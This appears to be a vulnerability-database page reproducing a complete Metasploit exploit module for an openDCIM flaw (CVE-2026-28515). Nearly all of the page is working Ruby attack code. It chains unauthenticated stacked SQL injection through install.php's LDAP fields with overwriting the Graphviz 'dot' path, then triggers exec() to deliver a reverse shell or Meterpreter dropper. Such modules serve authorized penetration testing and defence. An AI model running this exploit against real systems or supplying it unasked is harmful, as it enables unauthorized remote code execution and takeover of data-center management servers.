METASPLOIT 9.8 CRITICAL

openDCIM install.php SQL Injection to RCE_MSF:EXPLOIT-LINUX-HTTP-OPENDCIM_INSTALL_SQLI_RCE-

9.8 / 10
CRITICAL
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Description

This module exploits a SQL injection vulnerability in openDCIM's install.php endpoint CVE-2026-28515 to achieve remote code execution. The install.php script remains accessible after installation and processes LDAP configuration parameters via...
Visit Original Source

Basic Information

ID MSF:EXPLOIT-LINUX-HTTP-OPENDCIM_INSTALL_SQLI_RCE-
Published Apr 15, 2026 at 19:02

Affected Product

Affected Versions ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'openDCIM install.php SQL Injection to RCE',
'Description' => %q{
This module exploits a SQL injection vulnerability in openDCIM's install.php
endpoint (CVE-2026-28515) to achieve remote code execution. The install.php
script remains accessible after installation and processes LDAP configuration
parameters via UpdateParameter() without authentication or input sanitization,
allowing stacked SQL queries.

The exploit chain works by injecting SQL through the LDAP configuration form
to overwrite the Graphviz dot binary path in fac_Config, then triggering
report_network_map.php which calls exec() with the poisoned value. A backup
of the original configuration is created before exploitation and restored
after payload delivery.

Tested against openDCIM 23.04 through 25.01 on Ubuntu with Apache.
},
'Author' => [
'Valentin Lobstein <chocapikk[at]leakix.net>' # Discovery and Metasploit module
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2026-28515'],
['CVE', '2026-28516'],
['CVE', '2026-28517'],
['URL', 'https://www.vulncheck.com/advisories/opendcim-missing-authorization-in-install-php'],
['URL', 'https://www.vulncheck.com/advisories/opendcim-sql-injection-in-config-updateparameter'],
['URL', 'https://www.vulncheck.com/advisories/opendcim-os-command-injection-via-dot-configuration-parameter'],
['URL', 'https://github.com/Chocapikk/opendcim-exploit']
],
'Targets' => [
[
'Unix/Linux Command Shell', {
'Platform' => %w[unix linux],
'Arch' => ARCH_CMD,
'Type' => :cmd
# tested with cmd/unix/reverse_bash
}
],
[
'Linux Dropper', {
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'CmdStagerFlavor' => ['printf', 'bourne'],
'Type' => :dropper
# tested with linux/x64/meterpreter/reverse_tcp
}
]
],
'DefaultTarget' => 0,
'Privileged' => false,
'DisclosureDate' => '2026-02-28',
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)

register_options([
OptString.new('TARGETURI', [true, 'Base path to openDCIM', '/'])
])
end

LDAP_FIELDS = %w[
LDAPServer LDAPBaseDN LDAPBindDN LDAPSessionExpiration
LDAPSiteAccess LDAPReadAccess LDAPWriteAccess LDAPDeleteAccess
LDAPAdminOwnDevices LDAPRackRequest LDAPRackAdmin
LDAPContactAdmin LDAPSiteAdmin
].freeze

DOT_PARAM = 'dot'.freeze
SQLI_WRAP = ['" WHERE 1=0; ', ' -- '].freeze

def check
res = send_request_cgi({
'method' => 'GET',
'uri' => install_uri
})

return CheckCode::Unknown('Could not connect to the target.') unless res
return CheckCode::Safe('install.php returned unexpected status code.') unless [200, 302].include?(res.code)

body = res.body.to_s
return CheckCode::Safe('install.php does not appear to be openDCIM.') if res.code == 200 && !body.include?('ldapaction') && !body.include?('openDCIM') && !body.include?('Upgrade')

print_status('install.php is accessible, testing time-based SQL injection')
3.times do |i|
sleep_time = rand(1..3)
print_status("Test #{i + 1}/3: SLEEP(#{sleep_time})")
_, elapsed_time = Rex::Stopwatch.elapsed_time do
send_request_cgi({
'method' => 'POST',
'uri' => install_uri,
'vars_post' => { 'ldapaction' => 'Set', LDAP_FIELDS.sample => "#{SQLI_WRAP[0]}SELECT SLEEP(#{sleep_time});#{SQLI_WRAP[1]}" }
})
end
print_status("Elapsed time: #{elapsed_time.round(1)} seconds.")
return CheckCode::Safe("SQL injection test #{i + 1} did not trigger a delay.") unless elapsed_time >= sleep_time
end

CheckCode::Vulnerable('Successfully tested SQL injection (3/3 delay checks passed).')
end

def exploit
@backup_table = Rex::Text.rand_text_alpha(8).downcase

print_status('Performing LORI attack (LDAP Override Remote Injection)')
fail_with(Failure::UnexpectedReply, 'Backup failed.') unless backup_config

case target['Type']
when :cmd
fail_with(Failure::UnexpectedReply, 'SQL injection failed.') unless poison_dot("#{payload.encoded} #")
trigger_exec
when :dropper
execute_cmdstager
end
ensure
cleanup_config
end

def execute_command(cmd, _opts = {})
fail_with(Failure::UnexpectedReply, 'SQL injection failed.') unless poison_dot("#{cmd} #")
trigger_exec
end

def trigger_exec
print_status('Triggering exec() via report_network_map.php')
trigger_dot
end

def cleanup_config
return unless @backup_table

print_status('Restoring original configuration')
restored = restore_config
print_good('Configuration restored successfully.') if restored
print_warning('Failed to restore configuration. Manual cleanup may be needed.') unless restored
end

def install_uri
normalize_uri(target_uri.path, 'install.php')
end

def inject_sql(field, sql)
form = { 'ldapaction' => 'Set' }
LDAP_FIELDS.each { |f| form[f] = '' }
form[field] = "#{SQLI_WRAP[0]}#{sql}#{SQLI_WRAP[1]}"

res = send_request_cgi({
'method' => 'POST',
'uri' => install_uri,
'vars_post' => form
})

res && [200, 302].include?(res.code)
end

def backup_config
inject_sql('LDAPServer',
"DROP TABLE IF EXISTS #{@backup_table};" \
" CREATE TABLE #{@backup_table} AS SELECT Parameter, Value FROM fac_Config" \
" WHERE Parameter LIKE \"LDAP%%\" OR Parameter = \"#{DOT_PARAM}\";")
end

def poison_dot(dot_value)
escaped = dot_value.gsub('\\') { '\\\\' }
inject_sql('LDAPBaseDN',
"UPDATE fac_Config SET Value = \"#{escaped}\" WHERE Parameter = \"#{DOT_PARAM}\";")
end

def restore_config
inject_sql('LDAPSiteAdmin',
"UPDATE fac_Config c INNER JOIN #{@backup_table} b ON c.Parameter = b.Parameter SET c.Value = b.Value;" \
" DROP TABLE IF EXISTS #{@backup_table};")
end

def trigger_dot
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'report_network_map.php'),
'vars_get' => { 'format' => '0', 'containerid' => '1' }
})

res&.body&.strip
end
end

💭 Join the Security Discussion

🔒 Your email address will not be published. Required fields are marked *

⚠️ Please be respectful and constructive in your comments. Security discussions should remain professional.